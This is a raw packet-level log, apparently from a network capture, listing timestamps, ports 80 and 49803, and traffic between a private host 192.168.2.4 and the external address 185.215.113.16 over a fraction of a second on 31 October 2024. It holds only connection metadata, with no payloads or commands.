Oct 31, 2024 05:07:12.242801905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242820024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242824078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242831945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242842913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242845058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242856979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242868900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242882967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242908955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242908955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242909908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242928028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242940903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242952108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242954016 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242964029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.242974997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.242995024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243011951 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243052959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243063927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243074894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243086100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243100882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243102074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243122101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243128061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243146896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243151903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243174076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243216991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243510962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243570089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243572950 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243582964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243596077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243650913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243650913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243767977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243786097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243797064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243814945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243829966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243832111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243832111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243840933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243855000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243891954 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243906021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243925095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243936062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243948936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243952990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243966103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243982077 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.243987083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.243999958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244003057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244013071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244024038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244025946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244040012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244044065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244052887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244065046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244071960 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244077921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244092941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244098902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244112015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244123936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244126081 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244139910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244151115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244153976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244167089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.244178057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244196892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.244218111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360483885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360507965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360526085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360537052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360548019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360559940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360570908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360583067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360595942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360605955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360621929 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360632896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360644102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360654116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360666990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360677958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360697031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360697985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360728979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360749960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360768080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360780954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360797882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360800028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360810995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360821962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360829115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360836029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360850096 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360855103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360872984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360917091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360923052 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360958099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.360960960 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.360985994 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361006975 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361031055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361040115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361051083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361063957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361093998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361093998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361105919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361118078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361119032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361148119 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361149073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361162901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361166000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361196041 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361205101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361213923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361217022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361228943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361248970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361258984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361262083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361280918 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361325026 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361327887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361341953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361351967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361371994 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361377954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361391068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361402035 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361402988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361414909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361427069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361427069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361449957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361473083 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361510992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361521959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361534119 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361562014 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361566067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361579895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361582994 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361592054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361614943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361639023 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361656904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361668110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361679077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361694098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361702919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361706018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361723900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361754894 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361875057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361886978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361898899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361908913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361920118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361926079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361953020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361968040 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361977100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.361979961 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.361991882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362009048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362016916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362023115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362035036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362063885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362063885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362063885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362076044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362085104 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362088919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362102985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362119913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362132072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362138033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362144947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362157106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362173080 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362205029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362205029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362277031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362322092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.362332106 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.362364054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478728056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478751898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478766918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478779078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478791952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478801966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478828907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478841066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478852987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478852034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478867054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478879929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478890896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478909016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478916883 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478920937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478931904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478935957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478951931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478959084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478965044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478976965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.478991985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.478998899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479012966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479021072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479038954 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479048014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479060888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479065895 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479085922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479091883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479104996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479109049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479135036 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479141951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479152918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479154110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479187012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479216099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479233980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479245901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479257107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479273081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479269028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479269028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479289055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479304075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479322910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479322910 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479322910 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479346037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479368925 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479381084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479386091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479394913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479408979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479419947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479435921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479446888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479446888 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479460955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479489088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479526997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479540110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479540110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479547977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479568958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479578972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479593039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479608059 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479641914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479679108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479691029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479702950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479727983 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479732990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479744911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479757071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479757071 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479787111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479811907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479832888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479846001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479856014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479866982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479875088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479887962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.479896069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.479916096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480004072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480015993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480027914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480041027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480051994 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480052948 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480078936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480099916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480113983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480133057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480144978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480155945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480158091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480173111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480184078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480230093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480242014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480252028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480261087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480268955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480281115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480288982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480288982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480305910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480329990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.480329990 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480362892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.480389118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.596807003 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596828938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596842051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596856117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596868992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596879959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596894026 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596903086 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.596915960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.596949100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.596992016 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597002029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597014904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597027063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597038984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:12.597040892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:12.597045898 CET	80	49803	185.215.113.16	192.168.2.4
